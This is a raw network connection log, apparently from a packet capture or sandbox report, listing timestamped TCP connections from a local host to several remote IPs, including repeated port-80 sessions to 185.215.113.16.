Nov 12, 2024 05:03:19.776977062 CET	50002	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:19.777105093 CET	49999	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:19.777138948 CET	50001	443	192.168.2.5	142.250.185.78
Nov 12, 2024 05:03:19.777142048 CET	443	50002	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:19.777178049 CET	50005	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:19.778393984 CET	50002	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:19.778588057 CET	50005	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:19.778599977 CET	443	50005	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:19.778881073 CET	50006	443	192.168.2.5	35.244.181.201
Nov 12, 2024 05:03:19.778887987 CET	443	50006	35.244.181.201	192.168.2.5
Nov 12, 2024 05:03:19.779038906 CET	50006	443	192.168.2.5	35.244.181.201
Nov 12, 2024 05:03:19.779155016 CET	50006	443	192.168.2.5	35.244.181.201
Nov 12, 2024 05:03:19.779165983 CET	443	50006	35.244.181.201	192.168.2.5
Nov 12, 2024 05:03:19.814291954 CET	50007	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:19.814301014 CET	443	50007	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:19.814394951 CET	50007	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:19.815762997 CET	50007	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:19.815776110 CET	443	50007	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:20.084664106 CET	50008	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:20.089415073 CET	80	50008	185.215.113.206	192.168.2.5
Nov 12, 2024 05:03:20.089503050 CET	50008	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:20.089642048 CET	50008	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:20.094856024 CET	80	50008	185.215.113.206	192.168.2.5
Nov 12, 2024 05:03:20.194614887 CET	49998	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:20.199393034 CET	80	49998	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:20.204648018 CET	50009	443	192.168.2.5	34.160.144.191
Nov 12, 2024 05:03:20.204674959 CET	443	50009	34.160.144.191	192.168.2.5
Nov 12, 2024 05:03:20.206223965 CET	50009	443	192.168.2.5	34.160.144.191
Nov 12, 2024 05:03:20.206341028 CET	50009	443	192.168.2.5	34.160.144.191
Nov 12, 2024 05:03:20.206356049 CET	443	50009	34.160.144.191	192.168.2.5
Nov 12, 2024 05:03:20.211148024 CET	80	50003	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:20.218091011 CET	50003	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:20.261760950 CET	50003	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:20.266625881 CET	80	50003	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:20.319363117 CET	80	49998	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:20.382024050 CET	443	50005	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:20.384788990 CET	50005	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:20.386387110 CET	443	50006	35.244.181.201	192.168.2.5
Nov 12, 2024 05:03:20.386445999 CET	50006	443	192.168.2.5	35.244.181.201
Nov 12, 2024 05:03:20.403776884 CET	50006	443	192.168.2.5	35.244.181.201
Nov 12, 2024 05:03:20.403789997 CET	443	50006	35.244.181.201	192.168.2.5
Nov 12, 2024 05:03:20.404052019 CET	443	50006	35.244.181.201	192.168.2.5
Nov 12, 2024 05:03:20.411333084 CET	50005	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:20.411340952 CET	443	50005	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:20.411374092 CET	50005	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:20.411484957 CET	443	50005	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:20.411569118 CET	50006	443	192.168.2.5	35.244.181.201
Nov 12, 2024 05:03:20.411621094 CET	50006	443	192.168.2.5	35.244.181.201
Nov 12, 2024 05:03:20.411761045 CET	443	50006	35.244.181.201	192.168.2.5
Nov 12, 2024 05:03:20.412818909 CET	50006	443	192.168.2.5	35.244.181.201
Nov 12, 2024 05:03:20.412848949 CET	50005	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:20.412859917 CET	50006	443	192.168.2.5	35.244.181.201
Nov 12, 2024 05:03:20.433501959 CET	443	50007	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:20.433583975 CET	50007	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:20.433947086 CET	49998	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:20.441174984 CET	50007	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:20.441179037 CET	443	50007	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:20.441263914 CET	50007	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:20.441366911 CET	443	50007	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:20.441524982 CET	50007	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:20.550201893 CET	80	50003	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:20.552958965 CET	50003	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:20.673877001 CET	50003	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:20.674173117 CET	50011	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:20.679276943 CET	80	50011	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:20.679358006 CET	50011	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:20.679502010 CET	50011	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:20.679636002 CET	80	50003	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:20.679692984 CET	50003	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:20.684858084 CET	80	50011	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:20.826679945 CET	443	50009	34.160.144.191	192.168.2.5
Nov 12, 2024 05:03:20.826895952 CET	50009	443	192.168.2.5	34.160.144.191
Nov 12, 2024 05:03:20.991974115 CET	80	50008	185.215.113.206	192.168.2.5
Nov 12, 2024 05:03:20.995992899 CET	50008	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:21.042006969 CET	50008	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:21.046816111 CET	80	50008	185.215.113.206	192.168.2.5
Nov 12, 2024 05:03:21.307359934 CET	50009	443	192.168.2.5	34.160.144.191
Nov 12, 2024 05:03:21.307374001 CET	443	50009	34.160.144.191	192.168.2.5
Nov 12, 2024 05:03:21.307590008 CET	443	50009	34.160.144.191	192.168.2.5
Nov 12, 2024 05:03:21.309999943 CET	50009	443	192.168.2.5	34.160.144.191
Nov 12, 2024 05:03:21.310081005 CET	50009	443	192.168.2.5	34.160.144.191
Nov 12, 2024 05:03:21.310127020 CET	443	50009	34.160.144.191	192.168.2.5
Nov 12, 2024 05:03:21.310410023 CET	50009	443	192.168.2.5	34.160.144.191
Nov 12, 2024 05:03:21.324793100 CET	80	50008	185.215.113.206	192.168.2.5
Nov 12, 2024 05:03:21.324855089 CET	50008	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:21.589936972 CET	80	50011	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:21.589996099 CET	50011	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:21.590831995 CET	50011	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:21.595669031 CET	80	50011	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:21.600975990 CET	50000	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:21.601028919 CET	49998	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:21.606070995 CET	80	50000	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:21.606499910 CET	80	49998	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:21.607661009 CET	50013	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:21.610779047 CET	50000	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:21.610795021 CET	49998	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:21.612489939 CET	80	50013	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:21.614222050 CET	50013	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:21.614370108 CET	50013	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:21.619329929 CET	80	50013	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:21.651721001 CET	50014	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:21.651735067 CET	443	50014	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:21.657996893 CET	50014	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:21.659413099 CET	50014	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:21.659425020 CET	443	50014	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:21.822791100 CET	50015	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:21.827652931 CET	80	50015	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:21.834697008 CET	50015	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:21.834929943 CET	50015	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:21.839951038 CET	80	50015	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:21.876723051 CET	80	50011	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:21.876786947 CET	50011	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:22.001413107 CET	50011	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:22.001718044 CET	50016	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:22.006833076 CET	80	50016	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:22.006908894 CET	50016	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:22.007049084 CET	50016	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:22.007813931 CET	80	50011	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:22.007868052 CET	50011	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:22.012366056 CET	80	50016	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:22.202280998 CET	80	50013	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:22.244040966 CET	50013	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:22.255438089 CET	443	50014	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:22.255508900 CET	50014	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:22.259094000 CET	50014	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:22.259102106 CET	443	50014	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:22.259196997 CET	50014	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:22.259249926 CET	443	50014	34.117.188.166	192.168.2.5
Nov 12, 2024 05:03:22.259335995 CET	50014	443	192.168.2.5	34.117.188.166
Nov 12, 2024 05:03:22.430932045 CET	80	50015	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:22.475941896 CET	50015	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:22.915456057 CET	80	50016	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:22.918858051 CET	50016	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:22.919533968 CET	50016	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:22.924283981 CET	80	50016	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:23.205282927 CET	80	50016	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:23.225677967 CET	50016	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:23.387391090 CET	50016	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:23.387723923 CET	50017	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:23.392498016 CET	80	50017	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:23.392529964 CET	80	50016	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:23.427592039 CET	50016	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:23.427614927 CET	50017	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:23.466706038 CET	50017	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:23.471596003 CET	80	50017	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:23.991281033 CET	50008	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:24.340944052 CET	80	50017	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:24.341099977 CET	50017	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:24.341876984 CET	50017	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:24.346610069 CET	80	50017	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:24.626131058 CET	80	50017	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:24.626322985 CET	50017	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:24.733141899 CET	50017	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:24.733448982 CET	50018	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:24.738464117 CET	80	50018	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:24.738544941 CET	50018	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:24.738595009 CET	80	50017	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:24.738668919 CET	50018	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:24.738706112 CET	50017	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:24.743560076 CET	80	50018	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:25.641108990 CET	80	50018	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:25.641196012 CET	50018	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:25.642529011 CET	50018	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:25.647496939 CET	80	50018	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:25.926362038 CET	80	50018	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:25.926424980 CET	50018	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:26.384462118 CET	50018	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:26.385541916 CET	50019	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:26.390150070 CET	80	50018	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:26.390397072 CET	50018	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:26.391452074 CET	80	50019	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:26.392543077 CET	50019	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:26.394159079 CET	50019	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:26.398932934 CET	80	50019	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:27.337753057 CET	80	50019	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:27.337812901 CET	50019	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:27.341166973 CET	50019	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:27.346043110 CET	80	50019	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:27.634877920 CET	80	50019	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:27.634938955 CET	50019	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:27.749857903 CET	50019	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:27.750262976 CET	50020	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:27.755106926 CET	80	50019	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:27.755165100 CET	80	50020	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:27.755175114 CET	50019	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:27.755225897 CET	50020	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:27.755398989 CET	50020	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:27.760184050 CET	80	50020	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:28.676438093 CET	80	50020	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:28.676500082 CET	50020	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:28.677861929 CET	50020	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:28.682632923 CET	80	50020	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:28.965686083 CET	80	50020	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:28.966542959 CET	50020	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:29.157483101 CET	50020	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:29.160943031 CET	50021	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:29.162702084 CET	80	50020	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:29.162760973 CET	50020	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:29.165797949 CET	80	50021	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:29.165863991 CET	50021	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:29.166527033 CET	50021	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:29.171361923 CET	80	50021	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:30.085666895 CET	80	50021	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:30.085727930 CET	50021	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:30.086493015 CET	50021	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:30.091300011 CET	80	50021	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:30.375428915 CET	80	50021	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:30.375497103 CET	50021	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:30.484422922 CET	50021	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:30.484786034 CET	50022	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:30.489772081 CET	80	50022	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:30.489850998 CET	80	50021	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:30.489860058 CET	50022	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:30.489901066 CET	50021	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:30.490070105 CET	50022	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:30.494854927 CET	80	50022	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:31.402662039 CET	80	50022	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:31.402740002 CET	50022	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:31.403558016 CET	50022	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:31.408368111 CET	80	50022	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:31.688358068 CET	80	50022	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:31.691045046 CET	50022	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:31.904494047 CET	50022	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:31.904959917 CET	50023	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:31.909802914 CET	80	50023	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:31.909851074 CET	80	50022	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:31.909890890 CET	50023	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:31.909929037 CET	50022	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:31.910382986 CET	50023	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:31.915245056 CET	80	50023	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:32.217941999 CET	50013	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:32.222769022 CET	80	50013	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:32.436753035 CET	50015	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:32.441881895 CET	80	50015	34.107.221.82	192.168.2.5
Nov 12, 2024 05:03:32.828042030 CET	80	50023	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:32.828157902 CET	50023	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:32.833314896 CET	50023	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:32.838279009 CET	80	50023	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:33.116372108 CET	80	50023	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:33.116450071 CET	50023	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:33.307025909 CET	50023	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:33.307418108 CET	50024	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:33.312336922 CET	80	50024	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:33.312550068 CET	80	50023	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:33.312633991 CET	50023	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:33.312658072 CET	50024	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:33.312880039 CET	50024	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:33.317728043 CET	80	50024	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:34.220432997 CET	80	50024	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:34.220532894 CET	50024	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:34.223809004 CET	50024	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:34.228610992 CET	80	50024	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:34.509279013 CET	80	50024	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:34.510993004 CET	50024	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:34.862471104 CET	50024	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:34.862788916 CET	50025	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:34.867552042 CET	80	50025	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:34.867749929 CET	50025	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:34.867980957 CET	80	50024	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:34.868041992 CET	50024	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:34.868155003 CET	50025	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:34.872946024 CET	80	50025	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:35.529644012 CET	50013	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:35.597836018 CET	50015	80	192.168.2.5	34.107.221.82
Nov 12, 2024 05:03:35.787512064 CET	80	50025	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:35.788872004 CET	50025	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:35.789628029 CET	50025	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:35.794503927 CET	80	50025	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:36.085824013 CET	80	50025	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:36.085899115 CET	50025	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:36.210608959 CET	50025	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:36.210967064 CET	50026	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:36.215651989 CET	80	50025	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:36.215779066 CET	80	50026	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:36.215842962 CET	50025	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:36.215873957 CET	50026	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:36.218383074 CET	50026	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:36.223138094 CET	80	50026	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:36.664658070 CET	50027	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:36.669828892 CET	80	50027	185.215.113.206	192.168.2.5
Nov 12, 2024 05:03:36.669940948 CET	50027	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:36.671458006 CET	50027	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:36.676290989 CET	80	50027	185.215.113.206	192.168.2.5
Nov 12, 2024 05:03:37.128145933 CET	80	50026	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:37.131047010 CET	50026	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:37.197921991 CET	50026	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:37.202747107 CET	80	50026	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:37.483885050 CET	80	50026	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:37.483973026 CET	50026	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:37.579560995 CET	80	50027	185.215.113.206	192.168.2.5
Nov 12, 2024 05:03:37.583048105 CET	50027	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:37.636925936 CET	50026	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:37.637470007 CET	50028	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:37.639154911 CET	50027	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:37.642251015 CET	80	50026	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:37.642318010 CET	50026	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:37.642348051 CET	80	50028	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:37.642412901 CET	50028	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:37.643909931 CET	50028	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:37.643965960 CET	80	50027	185.215.113.206	192.168.2.5
Nov 12, 2024 05:03:37.648685932 CET	80	50028	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:37.924350023 CET	80	50027	185.215.113.206	192.168.2.5
Nov 12, 2024 05:03:37.925328016 CET	50027	80	192.168.2.5	185.215.113.206
Nov 12, 2024 05:03:38.542407036 CET	80	50028	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:38.542537928 CET	50028	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:38.573720932 CET	50028	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:38.578660011 CET	80	50028	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:38.857496023 CET	80	50028	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:38.859071016 CET	50028	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:39.000049114 CET	50028	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:39.000420094 CET	50033	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:39.005264997 CET	80	50033	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:39.005340099 CET	80	50028	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:39.005347967 CET	50033	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:39.005392075 CET	50028	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:39.005494118 CET	50033	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:39.010204077 CET	80	50033	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:39.916596889 CET	80	50033	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:39.919142962 CET	50033	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:40.092725039 CET	50033	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:40.097554922 CET	80	50033	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:40.377358913 CET	80	50033	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:40.377870083 CET	50033	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:40.486064911 CET	50033	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:40.486383915 CET	50034	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:40.491319895 CET	80	50033	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:40.491856098 CET	80	50034	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:40.491941929 CET	50034	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:40.492108107 CET	50034	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:40.493082047 CET	50033	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:40.497296095 CET	80	50034	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:41.384341955 CET	80	50034	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:41.384394884 CET	50034	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:41.394081116 CET	50034	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:41.398859978 CET	80	50034	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:41.676105022 CET	80	50034	185.215.113.16	192.168.2.5
Nov 12, 2024 05:03:41.676162958 CET	50034	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:41.857903957 CET	50034	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:41.858278990 CET	50035	80	192.168.2.5	185.215.113.16
Nov 12, 2024 05:03:41.863128901 CET	80	50035	185.215.113.16	192.168.2.5
